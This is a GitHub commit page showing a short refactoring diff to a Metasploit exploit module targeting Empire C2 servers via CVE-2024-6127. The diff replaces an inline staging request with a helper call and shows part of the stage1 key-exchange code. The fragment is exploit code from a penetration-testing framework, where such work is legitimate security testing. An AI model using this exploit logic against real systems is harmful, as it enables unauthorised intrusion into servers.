Skip to content

Commit bff7e48

Browse files
committed
Avoid code duplication
1 parent 10b7237 commit bff7e48

File tree

1 file changed

+3
-11
lines changed

1 file changed

+3
-11
lines changed

modules/exploits/linux/http/empire_skywalker.rb

Lines changed: 3 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -234,21 +234,13 @@ def exploit
234234
when 'CVE-2024-6127'
235235
# stage0
236236
# This stage is unnecessary for our purposes.
237-
rpacket = build_routing_packet(staging_key, STAGE0)
238-
headers = {
239-
'user-agent' => datastore['AGENT'],
240-
'Cookie' => "session=#{Base64.strict_encode64(rpacket)}"
241-
}
242-
res = send_request_cgi({
243-
'method' => 'GET',
244-
'uri' => normalize_uri(target_uri.path, datastore['STAGE_PATH']),
245-
'headers' => headers
246-
})
237+
session_id = SecureRandom.alphanumeric(8).upcase
238+
dummy = SecureRandom.alphanumeric(8)
239+
send_data_to_stage(staging_key, dummy, staging_key, STAGE0, session_id)
247240

248241
# stage1
249242
private_key = SecureRandom.hex(KEYLENGTH).hex
250243
public_key = GENERATOR.pow(private_key, PRIME).to_s.encode("UTF-8")
251-
session_id = SecureRandom.alphanumeric(8).upcase
252244
res = send_data_to_stage(staging_key, public_key, staging_key, STAGE1, session_id)
253245
fail_with(Failure::Unknown, 'Failed to send the key to STAGE1') unless res and res.code == 200
254246
vprint_good("Successfully sent the key to STAGE1")

0 commit comments

Comments
 (0)